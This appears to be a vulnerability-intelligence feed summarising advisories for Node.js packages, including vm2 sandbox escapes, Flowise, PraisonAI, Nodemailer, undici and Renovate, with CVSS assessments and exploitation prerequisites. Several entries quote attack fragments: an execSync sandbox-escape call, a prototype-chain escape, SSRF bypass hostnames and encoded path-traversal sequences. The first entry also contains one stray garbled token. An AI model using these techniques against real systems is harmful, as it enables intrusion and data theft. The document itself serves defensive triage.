Sandbox escape in vm2 3.11.3 through 3.11.6 lets JavaScript executing inside a NodeVM instance reach the host tls module and call tls.setDefaultCACertificates(), overwriting the process-wide default certificate authority store so that subsequent host HTTPS clients will accept attacker-supplied certificates. The flaw is config-gated rather than a default-configuration remote exploit: the host application must both run attacker-controlled JavaScript inside vm2 and expli(他)citly add the 'tls' and 'url' modules to the sandbox builtin allowlist, which is not vm2's default builtin set, and meaningful data compromise additionally requires the attacker to hold a network man-in-the-middle position to present the newly trusted forged certificate. Consistent with those prerequisites, our assessment scores this as CVSS 3.1 AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L (unauthenticated from the network, but high attack complexity and scope-changing sandbox-integrity impact) rather than the unmodified 10.0 of the supplied CVSS 4.0 vector; no public exploit code and no confirmed active exploitation were identified at time of analysis.
Credential disclosure and HTTPS session hijacking in vm2 3.11.3 through 3.11.6 allow sandboxed JavaScript to read host Authorization headers, private destination host/port information, and subsequent plaintext response bodies when a NodeVM is explicitly configured to allow require('https') and the host process concurrently issues outbound HTTPS requests. The vendor rates this CVSS 4.0 10.0, but our independent assessment scores it CVSS 3.1 AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N; exploitation requires the non-default require('https') configuration plus opportunistic timing when pooled host connections emit the 'free' event. There is no public exploit identified at time of analysis, and no CISA KEV confirmation was provided in the intelligence.
Sandbox escape and arbitrary native code execution in vm2 3.11.3 through 3.11.6 occurs when a NodeVM sandbox is configured to allow the host crypto builtin: sandboxed JavaScript can reach crypto.setEngine() and hand it a filesystem path pointing at an attacker-supplied shared library (for example one shipped inside an untrusted plugin package already unpacked to disk), which OpenSSL passes to the operating system's dynamic loader and whose constructor then executes in the host process. Exploitation needs the crypto builtin alone - fs, process, module, child_process, worker_threads, vm and inspector access are all unnecessary - and there is no public exploit code or confirmed active exploitation (no CISA KEV listing) at time of analysis, though the reporter-assigned score of 9.4 reflects the severity if those prerequisites are met. Real-world urgency is gated by deployment-specific factors: the crypto builtin must be explicitly exposed to the sandbox and the host must already contain an attacker-writable native library, so a patched release or a tightened builtin allow-list fully removes the attack surface.
Native code execution outside the sandbox affects vm2 versions 3.11.3 through 3.11.6 when the host node:sqlite builtin is exposed to a NodeVM sandbox - either explicitly or through the wildcard builtin: ['*'] - which is not a default configuration. Sandboxed plugin code can create an in-memory DatabaseSync with extension loading turned on, resolve an attacker-supplied native library via a __dirname-derived path, and call loadExtension(), causing SQLite to load that library into the Node.js host process and execute its native entry point with host privileges; the vm.readonly() wrapper prevents property assignment but leaves host-authority callables reachable, and a 'node:node:sqlite' double-prefix quirk in the resolver/prefix-stripping logic lets the sandbox reach the configured builtin. There is no public exploit identified at time of analysis and no confirmed active exploitation (CISA KEV) - the vendor released vm2 3.11.7 to fix it. Real-world priority is strongly gated by configuration: exploitation requires all of permitting node:sqlite in the sandbox, enabling SQLite extension loading, and having an attacker-controlled .so/.dll on disk within the plugin package.
Sandbox escape leading to remote code execution in vm2 3.11.6 lets untrusted code inside the sandbox reach a live proxy to a host-realm object and run commands with the host process privileges, for example through e.detail.mainModule.require('child_process').execSync(...). The flaw is an incomplete fix for GHSA-m283-3h24-438v: registering a rejection handler via Function.prototype.call or .apply indirection (p.then.call(p, undefined, cb)) bypasses the identity check at lib/bridge.js:1624, so the raw host Error and its non-primitive own properties are handed to sandbox code. Exploitation is conditional: the embedder must bridge an async host Promise into the sandbox and that Promise must reject with an Error carrying a non-primitive own property that references a host object (for example err.detail = process); direct p.then(undefined, cb), .bind and Reflect.apply forms are correctly sanitised. Upgrade to vm2 3.11.7 closes the bypass; no public exploit identified at time of analysis.
Sandbox escape and remote code execution in vm2 versions 3.11.4 through 3.11.6 allow JavaScript executed inside a NodeVM to break out and run arbitrary commands with the privileges of the host Node.js process. The flaw is reachable only in a specific, non-default configuration where the NodeVM is created with a truthy `nesting` value and an array-shaped `require` option (for example `new NodeVM({nesting: true, require: []})`); in that case the array satisfies a guard intended to reject nesting without an explicit require configuration, and the resulting resolver falls back to a nesting override that permits the sandboxed code to require the host `vm2` module and construct an inner NodeVM with an attacker-chosen builtin allowlist such as `child_process`. Exploitation requires no authentication or user interaction (CVSS 4.0 vector reports PR:N/UI:N) beyond the ability to supply code the sandbox runs, which is vm2's intended threat model; there is no public exploit code or CISA KEV confirmation of active exploitation at time of analysis, but the impact is complete confidentiality, integrity, and availability loss on the host, and the vendor CVSS 4.0 score of 9.5 is consistent with that assessed impact.
Sandbox escape in vm2 before 3.11.8 allows unauthenticated remote attackers to achieve full remote code execution and host process information disclosure by crafting a host-wrapped AggregateError that is revisited within a single exception-handler traversal, bypassing handleException's cycle detection and exposing unsanitized host proxies in the errors array. The flaw is an incomplete fix for Error.cause sanitization, and exploitation requires the host application to execute attacker-controlled JavaScript inside a vulnerable vm2 instance, which is vm2's normal use case, though the malformed-error and traversal condition is non-trivial (CVSS AC:H/AT:P). No public exploit identified at time of analysis; environments that do not run untrusted code in vm2, or that have migrated off the deprecated vm2, are not exposed.
Unbounded recursion in google-protobuf (the protobuf-javascript npm package) lets an unauthenticated, remote attacker crash any Node.js service that passes attacker-supplied bytes to a generated deserializeBinary() API - a few bytes encoding deeply nested unknown START_GROUP fields drive the parser into uncontrolled recursion until the call stack is exhausted and a RangeError: Maximum call stack size exceeded terminates the process. All published versions of the package are affected, and no schema knowledge is required because the flaw sits in the handling of unknown group fields rather than in any particular message definition. Impact is confined to availability (process crash) rather than confidentiality or integrity, and no public exploit identified at time of analysis; the practical prerequisite is an endpoint that deserializes untrusted binary protobuf, which makes this a high-priority denial-of-service issue for such deployments.
Denial of service in the Joi npm package's isoDate() validation rule allows unauthenticated remote attackers to stall Node.js applications by supplying a valid ISO date followed by a long run of fractional-second digits, causing quadratic regex engine restarts. Affected versions are 17.2.0 through 17.13.6 and 18.0.0 through 18.2.5; no public exploit identified at time of analysis, but the availability impact is high (CVSS 8.7) and unbounded inputs can cause multi-second stalls per request. Vendor-released patches 17.13.7 and 18.2.6 resolve the issue.
Email can be delivered to an unintended, attacker-controlled domain by Nodemailer before 9.1.0, because the library's recipient normalizer encodes international domain names with a bundled raw RFC 3492 Punycode codec instead of applying UTS-46 mapping, so a domain that a standards-compliant validator folds to a trusted domain resolves to a different xn-- A-label at SMTP delivery time. The flaw is an interpretation conflict (CWE-436) reached over the network by unauthenticated senders (assessed CVSS:3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N, vendor CVSS:4.0 8.3), but exploitation is conditional: the consuming application must both allow-list, same-domain check, or user-confirm the recipient with a UTS-46/IDNA-conformant parser and then rely on Nodemailer to deliver to that already-approved address. No public exploit code has been identified at time of analysis and the issue is not in CISA KEV; a vendor-released fix exists as Nodemailer 9.1.0.
Denial of service in Nodemailer before 9.1.0 allows remote, unauthenticated attackers to stall a Node.js process by supplying a crafted comma-separated address list - a single To, Cc, Bcc, From or Reply-To value, or any string fed to the exported addressparser - that triggers quadratic (O(n²)) parsing and blocks the single-threaded event loop at 100% CPU. The issue requires no special library configuration and no cooperating receiver: an approximately 1.5 MB address value freezes the process for roughly 25-30 seconds, and cost scales with the square of input size, so multi-megabyte values can stall a server for minutes. Impact is availability-only with no data exposure, and exploitation depends on the host application passing attacker-influenced data into an address field; applications that only send to fixed or internally controlled addresses are not affected. There is no confirmed active exploitation (not in CISA KEV) and no public exploit identified at time of analysis; a vendor-released patch is available as Nodemailer 9.1.0.
Path traversal in decap-server's local proxy containment guard allows an unauthenticated attacker to read, write, or delete files outside the intended repository root whenever a sibling directory's name begins with the repository directory's name. Affected is the decap-server package shipped in the decaporg/decap-cms monorepo, confirmed at commit 11f35405cd1a1d1216e97b890173f46436752019, with the CPE wildcard suggesting all tracked versions of decap-server are in scope. Exploitation requires the local proxy backend to be running, victim interaction to drive requests to it, and the presence of a suitably named sibling directory containing the target files; publicly available exploit code exists, but there is no indication of confirmed active exploitation (no CISA KEV listing) at time of analysis, so this reads as a real but tightly scoped issue rather than a mass-exploitation priority.
Socket and memory exhaustion in node-opcua clients (packages node-opcua, node-opcua-client and node-opcua-transport, versions 2.0.0 through 2.169.x) can terminate the Node.js process or container via OOM kill when the client is configured with the default keepSessionAlive: true and connects to an OPC UA server whose clock is skewed well beyond the server's RequestHeader timestamp tolerance. Two compounding defects cause this: the keepalive manager misclassifies the server's BadInvalidTimestamp status code as a network outage and forces a full transport reconnection on every keepalive cycle, while the HEL/ACK failure handler calls socket.end() instead of socket.destroy(), leaving each abandoned connection in FIN-WAIT-2 so leaked sockets accumulate roughly once per keepAliveInterval (about 1,200 per hour at the default 3-second interval). The vector is network-reachable and unauthenticated (PR:N), but exploitation is high-complexity and conditional on clock skew plus a peer that never completes the TCP close; no public exploit code or confirmed active exploitation was identified at time of analysis, and impact is confined to availability of the affected client process (C:N/I:N/A:H).
Authorization bypass in @fastify/auth versions 5.0.0 through 5.1.0 lets an authenticated low-privileged attacker who possesses a credential satisfying only the final member of a nested AND group, such as a valid API key without administrator rights, be authorized instead of rejected. The flaw occurs when strategies are composed with the relation "or" option together with the run "all" option and an entry is a nested array acting as an AND group, causing the group result to collapse to its last check; a mirror order-dependent bypass exists for top-level relation "and" with a nested "or" group. No public exploit identified at time of analysis, and there is no CISA KEV confirmation of active exploitation; the vendor-released fix is version 5.1.1 or later.
Authenticated OpenCTI users holding JSON mapper creation permission can craft a catastrophically backtracking regular expression in the extractWithRegexp mapper formula, blocking the Node.js event loop and making the GraphQL API unavailable to every user on the instance. The flaw affects only availability — no data is exposed or modified — and requires the attacker to already hold a privileged mapper-management role, but scheduled ingestion can re-trigger the lockup repeatedly without further attacker action, and recovery may require disabling the mapper and restarting the process. Fixed in OpenCTI 7.260706.0, where the vulnerable JavaScript RegExp engine was replaced with RE2, a linear-time regex library; no public exploit code or CISA KEV listing was identified at time of analysis.
Server-side request forgery in mcp-searxng before 1.7.1 lets an unauthenticated network client coerce the MCP server into fetching internal-only resources. The web_url_read tool validates only the literal hostname string before handing the URL to undici's fetch, so an attacker-controlled hostname that DNS-resolves to a loopback, private, link-local, or cloud-metadata address passes the lexical check and is connected to by the OS resolver. Successful abuse can read internal HTTP services, leak credentials or service tokens, and enumerate reachable internal hosts; publicly available exploit code exists and EPSS remains low (0.14%, 3rd percentile), so this is a real but conditional risk concentrated in deployments that expose the default HTTP transport without the MCP_HTTP_HARDEN authorization layer.
Authenticated remote code execution affects Flowise versions before 3.1.4 through a validation bypass in MCP server configuration nodes: the path validation routine inspects the clean filename passed in the args array but never checks the cwd (working directory) parameter, so an account able to create or modify an MCP server node can point the working directory at attacker-controlled content and have the spawned process execute it. Publicly available exploit code exists, and the independent assessment rates the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (vendor score 9.0 under CVSS 4.0), meaning full confidentiality, integrity and availability loss once the low-privileged authentication prerequisite is satisfied. No CISA KEV entry confirms active exploitation at time of analysis, and CISA's SSVC decision marks the issue as not automatable, so real-world risk concentrates in deployments where ordinary user accounts can define or edit MCP server configuration.
Authenticated remote code execution in Flowise versions before 3.1.4 lets a low-privileged user who can create or edit a Custom MCP node run arbitrary code on the Flowise server by supplying attacker-controlled npm package names in the mcpServerConfig parameter, which Flowise then invokes through npx. The issue carries a vendor-published CVSS 4.0 score of 9.0, while our independent assessment rates it CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (8.8), reflecting that the attacker must first hold a valid Flowise account with access to the node editor - no pre-authentication path was identified. No public exploit code was identified at time of analysis and the vulnerability has not been confirmed actively exploited (no CISA KEV listing), so risk is driven mainly by how many users can reach the MCP node configuration UI and whether the instance is internet-facing or uses weak or shared credentials.
Code escaping sandbox in the PraisonAI npm package's built-in codeMode tool (praisonai 1.4.0 through 1.7.1) lets anyone who can influence the code string read host files, write or modify files, spawn subprocesses, and consume host process resources, despite the tool advertising a sandbox boundary. The implementation blocks a handful of literal source patterns and shadows process and require with undefined properties, but untrusted code can walk the JavaScript prototype chain (for example ({}).constructor.constructor) to recover the real Function constructor and reach process.mainModule.require, bypassing both controls at low complexity. The vulnerability is rated 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) with the vector indicating some prior privilege or context is needed to reach the tool; EPSS is low (0.65%, 49th percentile) and no public exploit code or confirmed active exploitation was identified at time of analysis, but the low attack complexity and high confidentiality, integrity, and availability impact make this a genuine high-priority fix rather than an inflated score.
Remote code execution in the PraisonAI TypeScript `codeMode` tool (npm package `praisonai` <= 1.7.1) lets an attacker who can influence the model-generated `code` argument escape the regex blocklist 'sandbox' and run arbitrary JavaScript with the host process's privileges, reading and writing files, harvesting environment credentials, and executing operating-system commands. The CVSS 3.1 vector is unauthenticated and network-facing (AV:N/AC:L/PR:N/UI:N, 9.8) with total confidentiality and integrity impact, though the real-world prerequisite is that `codeMode` is enabled for an agent and the attacker can steer the tool argument - typically through prompt injection into untrusted content the agent ingests. Publicly available proof-of-concept code exists (published in the GitHub advisory, demonstrated against Node.js v20.20.0), EPSS is a low 0.77% (54th percentile) and CISA SSVC records Exploitation: none, so there is no confirmation of active exploitation at time of analysis; the vendor fix is version 1.7.2.
Trust-boundary spoofing in the proxy-addr Node.js module (versions 1.1.0 through 2.0.7), the library that backs Express req.ip and req.ips, lets unauthenticated clients forge their apparent source address. When an operator declares a trusted-proxy subnet in IPv4-mapped IPv6 notation with an IPv4-sized prefix (e.g. ::ffff:10.0.0.0/8 rather than the correct /104), proxy-addr silently accepts it but trusts every IPv4 address on the internet, so the direct socket peer becomes trusted at hop 0 and any client can set an arbitrary X-Forwarded-For header. This is a fail-open regression introduced in 1.1.0, fixed in 2.0.8; no public exploit identified at time of analysis, and it is not in CISA KEV.
Remote authenticated users of the Plesk 'Ruby' (before 1.6.6) and 'Node.js Toolkit' (before 2.5.0) extensions can inject arbitrary shell directives into statically generated application startup code via custom environment variables, resulting in code execution with root privileges on the Plesk server. The flaw is a classic static code injection (CWE-96): user-supplied values are written verbatim into persisted configuration/startup files rather than being escaped. No public exploit code or CISA KEV listing is present in the provided intelligence, and no EPSS score was supplied, so exploitation appears limited to actors who already hold a valid low-privileged Plesk account; vendor patches are available.
Quadratic time complexity in Nodemailer's addressparser component, versions 9.1.0 through 10.0.4, allows remote unauthenticated attackers to block the Node.js event loop for multiple seconds by supplying crafted email addresses containing RFC 5322 comment-separated atoms. The root cause is a `slice(-1)` call on a growing string accumulator in `_handleAddress` that forces JavaScript engine string-flattening on every token, producing O(n²) parse time - empirical test data in the fix commit shows 1.5 MB of crafted input caused approximately 10 seconds of event-loop stall before the patch. No public exploit code has been identified at time of analysis, and the vulnerability is not listed in CISA KEV; however, the attack payload is trivially constructable by simple string repetition and requires no authentication.
Prototype pollution in the yayson npm JSON:API library (<= 4.2.0) lets a remote attacker corrupt Object.prototype by submitting a document whose resource type is "__proto__". Store/LegacyStore use the attacker-supplied type, id, and relationship names as plain-object keys in internal lookup tables, so a crafted JSON:API payload writes attacker-controlled key/value pairs onto every object in the Node.js process for its lifetime. Proof-of-concept code is published in the GitHub Security Advisory; there is no evidence of active exploitation. The guaranteed impact is process-wide denial of service and logic corruption, with escalation to authorization bypass or RCE dependent on gadgets in the consuming application.
SSRF fix bypass in FrontMCP v1.2.1 and its dependency mcp-from-openapi 2.3.0 allows authenticated users of hosted deployments to reach internal network services by supplying crafted OpenAPI specs containing external `$ref` URLs. The previous patch for CVE-2026-39885 introduced a hostname-string denylist that is circumvented via DNS names resolving to loopback (e.g., 127.0.0.1.nip.io), HTTP redirect chains to loopback after an initially allowed host, and IPv4-mapped IPv6 syntax (::ffff:127.0.0.1). A working proof-of-concept with five confirmed bypass vectors is included in the advisory; no CISA KEV listing exists at time of analysis.
Memory exhaustion DoS in the expressjs/compression Node.js middleware (versions before 1.8.2) allows remote unauthenticated attackers to crash any Express server using the package. When a client aborts an HTTP connection while a compressed response is in flight, the zlib transform stream allocated for that response is never destroyed, permanently leaking its native heap memory. An attacker can automate rapid request-then-abort cycles to exhaust all available server memory, causing process termination. The issue is fixed in 1.8.2 per the OpenJS Foundation advisory; no public exploit code or KEV listing has been identified at time of analysis.
Memory exhaustion in multiparty Node.js library (versions 2.1.0 through <4.3.1) allows any unauthenticated network attacker to crash the host process with a single crafted HTTP request. The parser accumulates multipart part headers into an unbounded in-memory buffer with no size cap, consuming available process memory until the Node.js server is killed. The vulnerability carries no confidentiality or integrity impact - this is a pure availability issue addressed in multiparty 4.3.1, which enforces a maximum on the bytes buffered per part header block.
Authorization bypass in @jhb.software/payload-alt-text-plugin v0.7.0 allows any authenticated Payload CMS user to read and overwrite the `alt` text and `keywords` fields of upload collection documents that collection-level access rules would otherwise deny them. The plugin's custom POST endpoints (`/api/alt-text-plugin/generate` and `/bulk`) invoke Payload's Local API without setting `overrideAccess: false`, causing the framework to silently skip all collection access control functions due to a JavaScript truthiness default (`undefined !== false → true`). A detailed proof-of-concept with Docker-based reproduction is publicly available in the GHSA advisory; no patch has been confirmed as of the advisory date.
OS command injection in @argos-ci/core <=6.2.0 allows any attacker who can influence a CI pipeline's branch or ref name to execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process. The vulnerable sink is in packages/core/src/ci-environment/git.ts:89, where execSync() receives an unsanitized branch string interpolated into a template literal passed directly to /bin/sh -c, which evaluates $() command substitution and other metacharacters before spawning git. A fully working proof-of-concept exploit exists (GHSA-4x45-gxvp-6283) and the attack surface is widened by the fact that hasRemoteContentAccess: false - the configuration that triggers the vulnerable code path - is the default for projects without a connected Git provider integration.
Credential exfiltration in Renovate (renovatebot/renovate) before 44.11.2 lets a malicious or compromised container registry steal the registry credentials Renovate holds. When enumerating container image tags/digests, Renovate follows an HTTP Link header pagination URL and re-attaches the original registry's credentials without checking that the follow-up URL shares the same origin (CWE-601 open redirect), so a hostile registry can redirect the authenticated request to an attacker-controlled host and capture the secrets. Reported by VulnCheck; no public exploit identified at time of analysis, and it is not in CISA KEV.
Credential disclosure in Renovate before 44.11.3 allows a malicious or compromised GitHub server to exfiltrate host credentials by returning a crafted HTTP Link header. When Renovate paginates GitHub API responses (as a repository host or via the github-releases, github-tags, or git-refs datasources), it blindly follows the 'next' pagination URL without verifying it still points to the originally-contacted host, sending the configured credentials to whatever host the attacker specifies. No public exploit has been identified and the issue is not in CISA KEV, but the CVSS 4.0 base score is 9.2 due to high confidentiality impact with a scope change.
Privilege escalation in capgo.app (npm package `capgo` ≤ 12.207.1) allows an authenticated org_member to promote an external account to org_admin or org_billing_admin by exploiting a missing role-rank comparison in the `validateInvite()` function of the invite-new-user Edge Function. The invitation-acceptance path compounds the issue by using the Supabase service-role key, which bypasses two dedicated database triggers designed to enforce privilege boundaries, resulting in full administrative control over the organization's apps, channels, members, and billing. No public exploit is identified at time of analysis; an upstream fix is available via PR #3096.
Path traversal in @openhop/server (npm, versions ≤0.3.5) allows unauthenticated remote attackers to read or permanently delete arbitrary `.yaml` files accessible to the OpenHop process outside its configured flow data directory. The root cause is that `FlowStore.filePath()` passes caller-supplied HTTP route parameters directly to Node.js `path.join()` without any sanitization or allowlist validation, and Fastify's underlying `find-my-way` router URL-decodes the parameter before it reaches application code, enabling `..%2F`-encoded directory traversal. A fully functional PoC is publicly available with Docker-based reproduction steps; no KEV listing at time of analysis. Docker deployments expose the server on all interfaces by default, enabling direct network exploitation without user interaction.
Remote code execution in functype-mcp-server 1.4.3 and earlier allows any MCP client - including an LLM agent manipulated via prompt injection - to execute arbitrary JavaScript in the server process by invoking the `set_functype_version` tool with a `file:`, `git+`, or URL package-alias as the version string. The server interpolates the unsanitized input directly into a `pnpm add` specifier, installs the attacker-controlled package as the `functype` alias, then immediately dynamic-imports `functype/cli` from the poisoned location, running module-level attacker code with full MCP server process privileges. A fully automated Docker-based proof-of-concept confirming end-to-end RCE is documented in GHSA-wcjj-9m6g-2fr2; no public exploitation has been confirmed (not in CISA KEV), and a patched version 1.4.4 is available.
Unauthenticated remote task execution in @yeger/turbo-graph ≤ 2.8.8 allows any adjacent-network attacker to invoke arbitrary Turborepo tasks with the victim developer's OS-level privileges. Two independent implementation flaws combine: the embedded Next.js server omits the hostname argument to Node.js `.listen()`, causing the process to bind on all interfaces (`0.0.0.0`/`::`), while the `/api/run` HTTP endpoint reads task names from an attacker-controlled query string and passes them directly to `spawn()` with no authentication, CSRF protection, or allowlist check. No public exploit database entry or CISA KEV listing was identified, but a fully functional PoC with containerized end-to-end reproduction is included in the GitHub Security Advisory GHSA-2r5q-h53f-9rp3, significantly lowering the bar to exploitation.
nuxt-ollama versions 1.2.26 through 1.3.0 unconditionally places the Ollama cloud API key into Nuxt's public runtime config, causing it to appear verbatim in every server-rendered HTML page inside the `window.__NUXT__` script block, readable by any unauthenticated HTTP client. Any visitor or web crawler that fetches any page of an affected application can extract the `api_key` from the serialized SSR payload with a single GET request, then impersonate the operator against the Ollama cloud API to incur billing charges, exhaust rate limits, or exfiltrate stored model data. A publicly available PoC using Docker and Python has dynamically confirmed the leak; no public exploit identified at time of analysis for active KEV-level exploitation.
Path traversal in the knowns npm documentation tool (versions ≤ 0.29.1) enables remote unauthenticated attackers to read, create, overwrite, or delete arbitrary files with a .md extension anywhere on the host filesystem, and to create arbitrary directories via os.MkdirAll. The Document API's sanitization function cleanDocPath() strips slashes and .md suffixes but leaves ../ sequences intact, allowing filepath.Join() to resolve paths outside the intended documents directory. In the default deployment - where the Management API binds to all interfaces without authentication - this is directly exploitable with a single crafted HTTP request, and the arbitrary-write primitive may be chained toward code execution. No confirmed active exploitation or public exploit code identified at time of analysis.
Argument injection in bestzip's nativeZip function (versions 2.2.6 and 3.0.2) allows attackers who control the destination path or source file entries to inject arbitrary flags into the underlying Info-ZIP binary, achieving command execution at the Node.js process privilege level. Two distinct injection vectors exist: passing a flag-like string such as `-n` as the destination consumes the `--` argument separator, allowing source entries like `--unzip-command` to be interpreted as zip binary flags that trigger shell execution during archive validation. Patched versions 2.2.7 and 3.0.3 apply `path.resolve()` to normalize the destination before constructing the argument list. No public exploit is identified at time of analysis and the CVE is not in CISA KEV.
TLS certificate validation is disabled by default in the Node.js WebSocket client of Eclipse Ditto (@eclipse-ditto/ditto-javascript-client-node 2.0.0-3.9.0 and predecessor _1.0 package 1.0.0-2.1.0), which hard-codes rejectUnauthorized:false when opening every wss:// connection. A man-in-the-middle attacker can present any certificate, complete the handshake, steal the credentials sent in the WebSocket upgrade's Authorization header, and read, alter or inject Ditto Protocol messages for the connection's lifetime. No public exploit identified at time of analysis; a vendor fix is available and the Java client, browser/DOM client and the Node.js HTTP transport are unaffected.
Authentication bypass via capture-replay in Microsoft Authentication Library (MSAL) for Node.js versions 1.0.0 through 5.5.x allows an unauthenticated network-adjacent attacker to spoof authenticated identity by replaying captured tokens. The CWE-294 root cause means a previously captured authentication artifact can be reused to impersonate a legitimate user, yielding high confidentiality and integrity impact consistent with the CVSS C:H/I:H scores. No public exploit or active exploitation is known at time of analysis, but Microsoft has released a patch at version 5.6.0.
Remote code execution is possible in fastify-cli 1.5.0 through 8.0.0 when the Node.js Inspector is activated via a debug flag: the CLI ignores the user-supplied bind address and instead binds the Inspector to an overly broad network interface, exposing it beyond the local loopback. Because the Node.js Inspector protocol (Chrome DevTools Protocol) permits unrestricted JavaScript evaluation, any remote party that can reach the exposed Inspector port gains full code execution on the developer's machine with no authentication required. No public exploit code has been identified at time of analysis, and the EPSS signal is not provided, but the Inspector protocol itself is well-understood and trivially exploitable once the port is reachable.
Remote code execution in SiYuan desktop before 3.8.2 allows an unauthenticated network attacker to achieve full Node.js-level system access by poisoning a victim's clipboard from a malicious web page. The paste handler in app/src/protyle/util/paste.ts treated the custom text/siyuan clipboard MIME type as implicitly trusted internal content and skipped HTML sanitization before rendering, and a secondary code path used a same-origin hidden iframe to parse large HTML blobs, permitting inline script execution. Because SiYuan's Electron desktop build enables Node.js integration in the renderer process, injected scripts escape the browser sandbox entirely and execute with the privileges of the running user. A vendor-released patch is available at v3.8.2; no public exploit has been identified at time of analysis.
Credential exposure in the @sap/cds-mtxs NPM library - the multitenancy and extensibility (MTXS) component of SAP's Cloud Application Programming Model (CAP) - lets an unauthenticated remote attacker send specially crafted requests to multitenant CAP applications that have extensibility enabled, harvest sensitive tenant credentials, and reuse them to replace or delete tenant data. The flaw is rooted in insufficient authorization/protection checks (CWE-522), yielding high integrity and availability impact with partial confidentiality exposure of business data. Reported and patched by SAP via SAP Note 3798315; no public exploit identified at time of analysis.
Path traversal in h3's serveStatic() function on Node.js allows unauthenticated remote attackers to read arbitrary files outside the configured static root directory. The root cause is that h3 uses srvx's FastURL class, which skips WHATWG URL normalization for performance - percent-encoded dot segments (%2e%2e) survive raw into decodeURI(), are decoded to ../, and are passed unsanitized to filesystem callbacks. A detailed proof-of-concept exploit chain is publicly documented in GHSA-wr4h-v87w-p3r7; no active exploitation confirmed in CISA KEV at time of analysis. Fixed in versions 1.15.6 and 2.0.1-rc.15.
Process-terminating denial of service in undici's WebSocket implementation allows remote unauthenticated attackers to crash any Node.js application that connects to an attacker-controlled or machine-in-the-middle-intercepted WebSocket endpoint. During the opening handshake, if a server returns a Sec-WebSocket-Protocol header that the client never offered, undici dereferences a null value and throws an uncaught TypeError inside a Promise microtask, bypassing all application-level error handlers and killing the entire Node.js process. Affected are undici 6.7.0 through 6.28.0, 7.0.0 through 7.29.0, and 8.0.0 through 8.10.1; no public exploit identified at time of analysis.
Abrupt TCP disconnections against undici's experimental WebSocketStream client crash the entire Node.js process: undici's internal socket-close handler unconditionally calls abort() on a writable stream that the application has locked with a writer, and discards the returned promise, so the resulting TypeError rejection is never observed and Node's default unhandled-rejection behavior terminates the process. Affected deployments are those running undici 7.0.0 through 7.29.0 or 8.0.0 through 8.10.1 and using the experimental WebSocketStream API to connect to a server an attacker controls or can MITM; the trigger is a single abrupt disconnect with no WebSocket close handshake, requiring no authentication and no user interaction (CVSS 3.1 7.5, AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, CWE-248). No public exploit code identified at time of analysis, EPSS is 0.35% (28th percentile), and no CISA KEV listing exists; the impact is bounded to availability loss in the subset of services that actually use WebSocketStream against untrusted endpoints.
Converting an attacker-supplied .docx file with mammoth.js before 1.12.2 allows unauthenticated remote attackers to inject arbitrary properties into Object.prototype via the document's style definitions (CWE-1321 prototype pollution). In versions 1.11.0 through 1.12.1 the pollution can additionally be leveraged to read local server files and disclose them to the document supplier, but only where the application converts further documents in the same long-lived Node.js process and returns the converted HTML back to that party. There is no confirmed active exploitation (not in CISA KEV) and no public exploit code identified at time of analysis; vendor-released patch: 1.12.2.
Remote code execution in mcp-remote 0.1.16 through 0.1.38 allows an attacker who controls or compromises a remote MCP server to run arbitrary code on a connected client by supplying a malicious OAuth authorization URL that the tool passes to open() without validation. Exploitation requires the victim to initiate a connection to that malicious server (user interaction, UI:R) and no victim-side authentication is required (PR:N); users who connect only to trusted first-party MCP servers are not affected. The EPSS score is low (0.29%, 19th percentile), no public exploit identified at time of analysis, and no CISA KEV confirmation of active exploitation.
Server-side request forgery in mcp-remote 0.1.32 through 0.1.38 allows an unauthenticated remote attacker who controls or compromises the remote MCP server the victim connects to to make the client fetch attacker-chosen internal or metadata URLs during OAuth discovery. The victim must initiate the connection (UI:R), and the attacker supplies a malicious WWW-Authenticate header whose resource_metadata URL is not validated by the client. No public exploit or KEV activity was identified at time of analysis and EPSS is low at 0.17% (5th percentile); our independent assessment rates the issue CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N, requiring user interaction and limiting impact to confidentiality, rather than the reported UI:N and integrity impact.
Code injection in the Orval OpenAPI-to-TypeScript client generator (@orval/core) before 8.30.0 lets an attacker who controls the default value of a date or date-time field in an OpenAPI schema splice arbitrary JavaScript into generated factory code, which then executes with the privileges of whatever process consumes the generated client. Exploitation is not remote against a deployed service: it requires the non-default factoryMethods and useDates options to be enabled, a developer running codegen against a spec the attacker can influence, and the resulting factory client being executed, giving an assessed CVSS 3.1 vector of AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (the advisory lists 9.2 under CVSS 4.0). No public exploit identified at time of analysis and no confirmed active exploitation (CISA KEV); the vendor has shipped a fix in 8.30.0.
Unauthenticated SQL injection in ReactPress versions prior to 3.7.0 allows remote attackers to read arbitrary data from the underlying database by supplying crafted query-string parameter names to the API list endpoints for articles, comments, files, knowledge entries, and pages. Because the application interpolates those attacker-controlled names directly as SQL column identifiers while only parameterizing the values, no authentication, user interaction, or non-default configuration is required - any network-reachable ReactPress instance running an affected version is exposed, as reflected in the CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5) and CWE-89 classification. Exploitation is limited to information disclosure through the injected LIKE clause (no integrity or availability impact has been demonstrated), and no public exploit code has been identified at time of analysis, with vendor-released patch version 3.7.0 available.
Authenticated users of Unleash (the open-source feature management platform) can bypass project-scoped authorization and reach configuration data and write operations belonging to projects and environments they should not control, due to a cluster of broken-access-control defects fixed in version 8.0.3. The most serious is a missing `await` on an async permission check in POST /api/admin/segments/strategies, which lets any authenticated account with an admin-API session modify segment assignments on any strategy in any project; four additional cross-project IDOR issues (CWE-639) expose variant configurations, strategy configurations, environment information, and permit tag modification across project boundaries. Exploitation requires only a valid Unleash account at any privilege level with network reach to the admin API - no anonymous access and no administrator role - so practical exposure is concentrated in multi-project or multi-tenant deployments where authenticated users are not uniformly trusted with every project; no public exploit code has been identified at time of analysis and the issue is not confirmed actively exploited.
